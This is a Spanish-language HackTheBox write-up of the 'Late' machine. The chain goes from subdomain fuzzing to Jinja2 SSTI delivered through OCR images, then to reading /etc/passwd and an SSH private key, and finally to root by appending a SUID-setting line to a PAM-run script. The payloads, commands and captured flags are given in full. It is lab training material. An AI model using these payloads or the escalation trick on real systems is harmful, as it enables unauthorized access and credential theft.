the_open_door
café
ESEN

Late

HackTheBoxFácilLinux10.10.11.156

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#flask#ssti#ocr#file-read#ssh-key#cron#chattr#append-only#oscp
TL;DR. En el 80 hay un sitio estático con un enlace a images.late.htb, una app Flask que convierte imágenes a texto con OCR. El motor Jinja2 de Flask evalúa el texto extraído, así que una imagen con el payload {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }} produce SSTI y lectura arbitraria de ficheros. Leyendo /home/svc_acc/.ssh/id_rsa se entra por SSH como svc_acc. Para escalar, un script /usr/local/sbin/ssh-alert.sh propiedad de svc_acc se ejecuta como root en cada login SSH; tiene el atributo a (append-only vía chattr), así que no se puede editar, pero sí hacer echo 'chmod u+s /bin/bash' >>. Tras un segundo SSH login, bash -p da root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que da una pista rápida del sistema operativo: valores cercanos a 64 suelen indicar Linux y cercanos a 128, Windows.

ping -c 1 10.10.11.156

ping a Late: TTL 63 confirma Linux

64 bytes from 10.10.11.156: icmp_seq=1 ttl=63 time=113 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Recorremos los 65535 puertos TCP con -p- (rápido y sin fingerprinting, solo para descubrir los abiertos; -n -Pn evita DNS y ping):

sudo nmap -p- --open --reason -n -Pn 10.10.11.156

nmap -p- en Late: 22 y 80

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Late: IP 10.10.11.156 y puertos abiertos 22,80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.156
Open ports: 22,80

Ports copied to clipboard

Solo SSH y HTTP. El -sCV detalla las versiones:

nmap -sCV en puertos 22 y 80: OpenSSH 7.6p1, nginx 1.14.0

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSH 7.6p1 (versión antigua, vulnerable a user enumeration, pero no es el camino aquí) y un nginx 1.14.0 que sirve un sitio titulado "Late - Best online image tools" bajo el dominio late.htb.

Virtual hosting y subdominios

Se añade late.htb a /etc/hosts:

/etc/hosts con late.htb apuntando a 10.10.11.156

whatweb confirma el stack (Bootstrap, jQuery, nginx) y, de paso, deja caer un correo de soporte support@late.htb que insinúa que late.htb es un dominio con posibles subdominios:

whatweb en 10.10.11.156: Bootstrap 3.0.0, nginx 1.14.0, support@late.htb

http://10.10.11.156 [200 OK] Bootstrap[3.0.0], Email[support@late.htb],
 HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)],
 Meta-Author[Sergey Pozhilov (GetTemplate.com)],
 Title[Late - Best online image tools], nginx[1.14.0]

Wappalyzer en el navegador da el mismo perfil; nada que apunte a un CMS con vulnerabilidades conocidas:

Wappalyzer en late.htb: Bootstrap, jQuery, nginx, Font Awesome

Un fuzz de subdominios con wfuzz encuentra images.late.htb:

wfuzz reporta images.late.htb

wfuzz -u http://late.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -t 100 -H "Host: FUZZ.late.htb" --hh=9461

Se añade también images.late.htb al /etc/hosts:

/etc/hosts actualizado con images.late.htb

127.0.0.1       localhost
127.0.1.1       kali
...
10.10.11.156    late.htb images.late.htb

Flask OCR en images.late.htb

Interfaz de images.late.htb: sube una imagen y convierte el texto a .txt

La app sube una imagen, extrae el texto con OCR y devuelve un .txt con el resultado. Que sea Flask (Jinja2) convierte este OCR en un posible canal de SSTI: si el texto extraído de la imagen pasa por render_template_string(), cualquier expresión entre {{ }} se evaluará en el servidor.

Shell como svc_acc

SSTI vía imagen

Para que el OCR lea limpiamente el payload, se escribe en un editor con fuente clara y grande (no a mano), se captura con scrot y se sube:

{{ 7*7 }}

Mousepad con el payload {{ 7*7 }}

Se captura con scrot y se comprueba con feh antes de subirla:

sleep 3; scrot -s test.png
feh test.png

scrot captura test.png y feh la muestra con el payload {{ 7*7 }}

feh [1 of 1] - test.png

{{7*7}}

Se sube la imagen a la app Flask:

subiendo test.png con el payload {{ 7*7 }} a images.late.htb

El .txt devuelto contiene "49" en lugar de {{ 7*7 }}

El fichero .txt devuelve 49: la expresión se evaluó. SSTI confirmada.

Lectura de /etc/passwd

En PayloadsAllTheThings (Server Side Template Injection → Python.md) hay varios gadgets de lectura de ficheros para Jinja2. El que mejor funciona aquí usa get_flashed_messages:

PayloadsAllTheThings: gadgets Jinja2 de lectura de ficheros

El gadget estándar para leer ficheros en Jinja2:

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Payload de file-read escrito en LibreOffice con fuente limpia scrot captura el payload de lectura de /etc/passwd y feh lo verifica Resultado .txt con el contenido de /etc/passwd

Entre los usuarios llama la atención svc_acc (con shell y home). SSH está abierto, así que el siguiente payload apunta a su clave privada:

Lectura de la id_rsa de svc_acc

{{ get_flashed_messages.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read() }}

Payload id_rsa en imagen scrot captura el payload de lectura de id_rsa y feh lo verifica Resultado .txt con la clave RSA completa

La clave privada completa llega en el .txt. La app entrega el resultado como una descarga del navegador, así que el fichero cae en ~/Downloads con el nombre que le pone el navegador (results(1).txt, con el (1) porque ya había un results.txt de la lectura anterior de /etc/passwd). Lo primero es traerlo al directorio de trabajo:

mv /home/krmena/Downloads/results\(1\).txt .

mv del results(1).txt descargado desde ~/Downloads al directorio de trabajo de la maquina

Ya en local se renombra a id_rsa, se abre con nano para limpiar posibles artefactos del OCR y se comprueba que la clave está completa (de BEGIN RSA PRIVATE KEY a END RSA PRIVATE KEY, 27 líneas) antes de ponerle los permisos 600 que SSH exige:

mv results\(1\).txt id_rsa
nano id_rsa
cat id_rsa
chmod 600 id_rsa

renombrando a id_rsa, limpiando con nano, cat mostrando la clave RSA completa y chmod 600

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
<SNIP>
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----

Con la clave lista, entramos por SSH:

ssh -i id_rsa svc_acc@10.10.11.156

SSH como svc_acc exitoso

The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established.
ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts.
svc_acc@late:~$

Flag de usuario:

cat user.txt

4055aab560eba55318ffde5f2816a29b

Escalada a root

Script ssh-alert.sh (cron + append-only)

Buscando ficheros propiedad del usuario fuera de /home:

find / -user $(whoami) 2>/dev/null | grep -vE 'run|proc|var|sys|home'

find muestra /usr/local/sbin/ssh-alert.sh propiedad de svc_acc

/usr/local/sbin
/usr/local/sbin/ssh-alert.sh
/dev/pts/0

Un script en /usr/local/sbin es propiedad de svc_acc. Lo leemos:

cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

El script envía un email cada vez que alguien abre sesión SSH. Las variables $PAM_* apuntan a que lo invoca PAM. Para confirmar quién lo ejecuta realmente, se transfiere pspy64 a la víctima (servidor HTTP en el atacante, wget en la máquina):

# atacante
python3 -m http.server 80
# víctima
wget http://10.10.16.6/pspy64 && chmod +x pspy64

transfiriendo pspy64 a la víctima

svc_acc@late:~$ wget http://10.10.16.6/pspy64
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64  100%[===================>]  2.96M  747KB/s  in 5.1s
2025-09-23 11:44:15 (596 KB/s) - 'pspy64' saved [3104768/3104768]

Al abrir otra sesión SSH, pspy64 registra que root (UID=0) ejecuta el script, y además revela un cron que hace chattr -a antes y chattr +a después, lo que explica el atributo append-only:

pspy64 confirma que root ejecuta ssh-alert.sh en cada login SSH

UID=0 ... /bin/bash /usr/local/sbin/ssh-alert.sh
UID=0 ... chattr -a /usr/local/sbin/ssh-alert.sh
UID=0 ... chattr +a /usr/local/sbin/ssh-alert.sh

svc_acc es el propietario, así que en teoría podría modificarlo. El primer intento con nano falla con "Operation not permitted", lo que lleva a mirar los atributos extendidos:

nano falla al guardar ssh-alert.sh: Operation not permitted

lsattr /usr/local/sbin/ssh-alert.sh
# -----a--------e--- /usr/local/sbin/ssh-alert.sh

El atributo a (append-only vía chattr): nano, vi, > y cualquier escritura que no sea append fallan con "Operation not permitted". Pero >> sí funciona.

Inyección por append

echo 'chmod u+s /bin/bash' >> /usr/local/sbin/ssh-alert.sh
cat /usr/local/sbin/ssh-alert.sh

echo &gt;&gt; inyecta chmod u+s /bin/bash al final del script

...
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
chmod u+s /bin/bash

Ahora, cualquier login SSH disparará el script como root y seteará el SUID en /bin/bash. Basta con abrir otra sesión SSH:

ssh -i id_rsa svc_acc@10.10.11.156
ls -l /bin/bash
# -rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
bash -p
cat /root/root.txt

bash -p da euid=0(root), cat root.txt

2eee81d9b46abff2f8854d01bbbc1a65

Cadena de ataque

nmap (22, 80)
  └─> late.htb → wfuzz → images.late.htb (Flask OCR)
        └─> {{ 7*7 }} = 49 → SSTI confirmada
              └─> {{ ...open("/etc/passwd").read() }} → svc_acc
                    └─> {{ ...open("/home/svc_acc/.ssh/id_rsa").read() }}
                          └─> SSH como svc_acc + user.txt
                                └─> /usr/local/sbin/ssh-alert.sh (PAM, corre como root)
                                      └─> atributo `a` (append-only) → echo >> chmod u+s /bin/bash
                                            └─> nuevo SSH login → bash -p → root.txt

Lecciones aprendidas

  • OCR + plantillas = SSTI: si una aplicación Flask pasa texto extraído por render_template_string(), el atacante controla la plantilla con una imagen. La fuente del payload importa: fuentes claras y grandes hacen que el OCR lea sin errores.
  • Leer /etc/passwd por SSTI no es el fin, es el medio: la lista de usuarios dicta el siguiente payload (id_rsa, authorized_keys, archivos de config).
  • El atributo a (append-only, puesto con chattr +a) bloquea toda escritura excepto >>. Es una protección parcial; un atacante que pueda hacer append a un script ejecutado como root tiene el mismo resultado que si lo editara: inyecta una línea al final.
  • Scripts invocados por PAM se ejecutan como root en cada login. Si el propietario del fichero es un usuario regular, una escalada pasa por encontrar cómo escribir en él (en este caso, el append-only permite justo lo suficiente).
  • lsattr siempre antes de nano/vi: si un chattr +a o +i está puesto, el error "Operation not permitted" despista si no se sabe que la causa no son los permisos UNIX sino los atributos extendidos.
Cheatsheet de comandos 10 comandos

Repaso rápido